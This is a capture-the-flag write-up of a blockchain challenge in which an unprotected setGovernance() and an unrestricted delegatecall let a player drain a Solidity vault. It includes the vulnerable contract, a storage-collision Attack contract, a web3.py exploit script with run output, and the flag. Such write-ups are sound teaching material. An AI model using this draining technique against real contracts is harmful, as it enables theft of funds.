Heist v1 - EH4X CTF 2026
Category: Blockchain | Points: 500 | Solves: 0 (first blood baby)
the government has released a new vault and now we can add proposals too , what?? , drain the VAULT
nc 135.235.193.111 1337
Initial Recon - What Are We Working With?
Alright so we get two Solidity files and a netcat endpoint. Classic blockchain CTF setup. Let's see what we're dealing with.
Connecting to the nc server gives us:
RPC URL : http://135.235.193.111:XXXXX
Vault : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3
Player Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
Standard Hardhat/Anvil local chain (chain ID 31337). We get a player account with 10000 ETH (we're rich... on a test chain lol). The vault holds 5 ETH and we need to drain it to zero.
Goal: make isSolved() return true → vault balance must be 0.
Reading the Contracts
Vault.sol
contract Vault {
bool public paused; // slot 0 (1 byte)
uint248 public fee; // slot 0 (31 bytes, packed with paused)
address public admin; // slot 1
address public governance; // slot 2
constructor() payable {
paused = true;
admin = msg.sender;
}
function execute(bytes calldata data) public {
(bool ok,) = governance.delegatecall(data);
require(ok);
}
function withdraw() public {
require(!paused, "paused");
require(msg.sender == admin, "not admin");
payable(msg.sender).transfer(address(this).balance);
}
function setGovernance(address _g) public {
governance = _g;
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
function isSolved() public view returns(bool) {
return address(this).balance == 0;
}
}Governance.sol
contract Governance {
uint256 public proposalCount;
function setProposal(uint256 x) public {
proposalCount = x;
}
}Finding the Bug - The Spidey Sense is Tingling
OK so to drain the vault we need to call withdraw(). But that has two guards:
require(!paused, "paused"); // vault is paused on deploy
require(msg.sender == admin, "not admin"); // admin = deployer, not us
So we need to:
- Unpause the vault
- Become admin
Now let's look at the sus parts of this contract...
Sus Thing #1 - setGovernance() has ZERO access control
function setGovernance(address _g) public {
governance = _g;
}Bro literally anyone can set the governance address. No onlyAdmin, no require, nothing. Zero access control.
Sus Thing #2 - execute() uses delegatecall
function execute(bytes calldata data) public {
(bool ok,) = governance.delegatecall(data);
require(ok);
}This is the big one. If you don't know what delegatecall does, buckle up because this is where it gets spicy.
The delegatecall Trick - Understanding the Core Vuln
Normal call vs delegatecall
With a normal call, when Contract A calls Contract B:
- Code runs in Contract B's context
- Storage changes happen in Contract B
msg.sender= Contract A
With delegatecall, when Contract A delegatecalls Contract B:
- Code from B runs in Contract A's context
- Storage changes happen in Contract A (!!!)
msg.senderis preserved (original caller)
Think of it like this:
So when the Vault does governance.delegatecall(data), whatever the governance contract writes to its storage slots actually writes to the Vault's storage slots.
Solidity Storage Layout 101
Solidity stores variables in 32-byte "slots" starting from slot 0:
When the Vault does delegatecall to Governance and Governance writes to proposalCount (its slot 0), it actually writes to the Vault's slot 0 — which is paused + fee!
So calling setProposal(0) via execute() would set the Vault's slot 0 to zero, meaning paused = false. That's half the puzzle.
But we still need to overwrite slot 1 (admin) with our address. The Governance contract only touches slot 0. We need something more powerful.
The Attack Plan
Since setGovernance() lets us point to ANY contract, and execute() will delegatecall it with ANY calldata... we just deploy our own malicious contract!
The key insight: our Attack contract's storage layout must match the Vault's. When delegatecall runs pwn(), it writes paused = false to slot 0 (Vault's slot 0) and admin = msg.sender to slot 1 (Vault's slot 1). Since delegatecall preserves msg.sender, the admin gets set to the player's address.
The Exploit
from web3 import Web3
from solcx import install_solc, compile_source
# Connect to the instance
w3 = Web3(Web3.HTTPProvider(rpc_url))
player = w3.eth.account.from_key(player_key)
# Our malicious contract
attack_source = '''
pragma solidity ^0.8.20;
contract Attack {
bool public paused; // matches Vault slot 0
uint248 public fee; // matches Vault slot 0 (packed)
address public admin; // matches Vault slot 1
function pwn() public {
paused = false; // overwrites Vault's paused
admin = msg.sender; // overwrites Vault's admin
}
}
'''
# Compile & deploy attack contract
compiled = compile_source(attack_source, solc_version="0.8.20")
attack_data = compiled["<stdin>:Attack"]
AttackContract = w3.eth.contract(abi=attack_data["abi"], bytecode=attack_data["bin"])
# ... deploy tx ...
# Step 1: Point governance to our contract (no access control!)
vault.functions.setGovernance(attack_addr).transact()
# Step 2: delegatecall pwn() through execute - overwrites Vault storage
pwn_calldata = attack_contract.encode_abi(abi_element_identifier="pwn")
vault.functions.execute(bytes.fromhex(pwn_calldata[2:])).transact()
# Step 3: Now we're admin and vault is unpaused - drain it
vault.functions.withdraw().transact()
# vault.isSolved() == trueRunning it:
[*] Vault balance: 5000000000000000000 wei
[*] Vault paused: True
[*] Vault admin: 0xf39Fd6... (deployer, not us)
[+] Attack contract deployed
[+] setGovernance ✓
[+] execute(pwn) ✓
[*] After delegatecall:
Vault paused: False ← unpaused!
Vault admin: 0x70997... ← that's us now!
[+] withdraw ✓
[*] Vault balance: 0 wei ← drained!
[*] Vault solved: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
Takeaways / What We Learned
1. delegatecall is Dangerous
delegatecall is one of the most powerful (and most abused) opcodes in the EVM. It's used legitimately in proxy patterns, but if you let anyone control what gets delegatecalled or where it points to, it's game over. The attacker gets full write access to your contract's storage.
Real world example: The Parity Wallet Hack (2017) used a similar delegatecall vulnerability to steal ~$30M in ETH.
2. Access Control Matters
setGovernance() had zero access control. In a real contract this would be restricted to an owner/admin/DAO. One missing require statement = entire vault drained.
3. Storage Layout in delegatecall
When using delegatecall, the called contract's code operates on the caller's storage. If the storage layouts don't match (or if an attacker crafts a matching layout), variables get overwritten in unexpected ways. This is why proxy patterns need to be very careful about storage collisions.
4. The Three Bug Chain
The full exploit required chaining three issues:
- No access control on
setGovernance()→ we can point to any contract - Unrestricted
delegatecallinexecute()→ arbitrary code runs in Vault's context - Storage slot collision → our contract's writes map to Vault's critical variables
None of these alone would drain the vault. Together = GG.
Further Reading
If you want to go deeper on these topics:
- Solidity Storage Layout: https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html
- delegatecall explained: https://solidity-by-example.org/delegatecall/
- Parity Wallet Hack: https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7
- SWC-112 (Delegatecall to Untrusted Callee): https://swcregistry.io/docs/SWC-112
Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
gg ez... just kidding this was actually a nice clean challenge. props to stapat for the design.